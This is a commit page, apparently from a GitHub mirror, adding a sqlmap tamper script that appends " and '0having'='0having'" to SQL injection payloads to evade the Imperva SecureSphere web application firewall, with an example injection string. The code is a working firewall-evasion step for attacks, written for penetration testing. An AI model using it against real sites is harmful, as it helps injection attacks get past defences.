Thanks to visit codestin.com Credit goes to github.com
We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 1e182e6 commit b743301Copy full SHA for b743301
1 file changed
tamper/securesphere.py
@@ -0,0 +1,39 @@
1
+#!/usr/bin/env python
2
+
3
+"""
4
+$Id$
5
6
+Copyright (c) 2006-2011 sqlmap developers (http://www.sqlmap.org/)
7
+See the file 'doc/COPYING' for copying permission
8
9
10
+import re
11
12
+from lib.core.common import randomRange
13
+from lib.core.data import kb
14
+from lib.core.enums import PRIORITY
15
16
+__priority__ = PRIORITY.NORMAL
17
18
+def dependencies():
19
+ pass
20
21
+def tamper(payload):
22
+ """
23
+ Appends special crafted string
24
25
+ Example:
26
+ * Input: AND 1=1
27
+ * Output: AND 1=1 and '0having'='0having'
28
29
+ Notes:
30
+ * Useful for bypassing Imperva SecureSphere WAF
31
+ * Reference: http://seclists.org/fulldisclosure/2011/May/163
32
33
34
+ retVal = payload
35
36
+ if payload:
37
+ retVal += " and '0having'='0having'"
38
39
+ return retVal
0 commit comments